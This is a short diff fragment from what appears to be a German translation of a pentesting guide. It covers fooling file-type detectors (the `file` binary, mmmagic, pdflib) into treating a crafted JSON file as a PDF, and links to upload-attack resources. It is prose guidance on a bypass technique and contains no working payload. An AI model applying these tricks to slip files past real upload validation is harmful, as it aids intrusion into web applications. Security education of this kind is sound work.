-- **`file` binary**: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach eine JSON, die größer ist als das, sodass sie den Inhalt nicht als JSON parsen kann, und füge dann innerhalb der JSON den Anfangsteil einer echten PDF ein — dann wird sie denken, es sei ein PDF
+- **`mmmagic` library**: Solange die `%PDF` Magic-Bytes in den ersten 1024 Bytes sind, gilt die Datei als PDF (Beispiel im Post)
+- **`pdflib` library**: Füge ein gefälschtes PDF-Format in ein Feld des JSON ein, sodass die library denkt, es sei ein PDF (Beispiel im Post)
+- **`file` binary**: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach ein JSON, das größer ist als das, sodass es den Inhalt nicht als JSON parsen kann, und füge dann innerhalb des JSON den Anfangsteil eines echten PDF ein — `file` wird denken, es sei ein PDF
 
-## References
+## Referenzen
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
 - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)